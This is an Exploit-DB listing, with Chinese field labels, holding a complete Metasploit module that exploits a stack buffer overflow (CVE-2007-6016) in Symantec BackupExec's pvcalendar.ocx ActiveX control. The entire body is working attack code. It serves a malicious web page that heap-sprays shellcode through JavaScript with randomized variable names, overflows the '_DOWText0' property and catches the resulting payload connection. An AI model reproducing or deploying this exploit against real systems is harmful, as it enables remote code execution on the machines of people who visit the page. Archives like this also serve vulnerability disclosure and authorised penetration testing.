标题: Symantec BackupExec Calendar Control - Remote Buffer Overflow (Metasploit) EDB-ID: 16582 CVE: 2007-6016 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: symantec_backupexec_pvcalendar.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Symantec BackupExec Calendar Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Symantec BackupExec Calendar Control.
    By sending an overly long string to the "_DOWText0" property located
    in the pvcalendar.ocx control, an attacker may be able to execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-6016' ],
     [ 'OSVDB', '42358'],
     [ 'BID', '26904' ],
     [ 'URL', 'http://secunia.com/advisories/27885/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ]
    ],
   'DisclosureDate' => 'Feb 28 2008',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Setup exploit buffers
  nops    = Rex::Text.to_unescape(make_nops(4))
  ret     = Rex::Text.uri_encode([target.ret].pack('L'))
  blocksize = 0x30000
  fillto    = 400
  offset    = target['Offset']
  junk   = rand_text_alpha(4)

  # Randomize the javascript variable names
  pvcalendar   = rand_text_alpha(rand(100) + 1)
  j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops       = rand_text_alpha(rand(100) + 1)
  j_headersize = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_block      = rand_text_alpha(rand(100) + 1)
  j_memory     = rand_text_alpha(rand(100) + 1)
  j_counter    = rand_text_alpha(rand(30) + 2)
  j_ret        = rand_text_alpha(rand(100) + 1)
  j_junk       = rand_text_alpha(rand(100) + 1)
  j_filename   = rand_text_alpha(rand(16) + 1)

  # Build out the message
  content = %Q|<html>
<object classid='clsid:22ACD16F-99EB-11D2-9BB3-00400561D975' id='#{pvcalendar}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{j_nops} = unescape('#{nops}');
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
#{j_junk} = '#{junk}';
while (#{j_junk}.length < #{offset}) #{j_junk} += #{j_junk};
try {
#{pvcalendar}._DOWText0 = #{j_junk} + #{j_ret};
#{pvcalendar}.Save('#{j_filename}',0);
} catch(err) {}
</script>
</html>
|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16582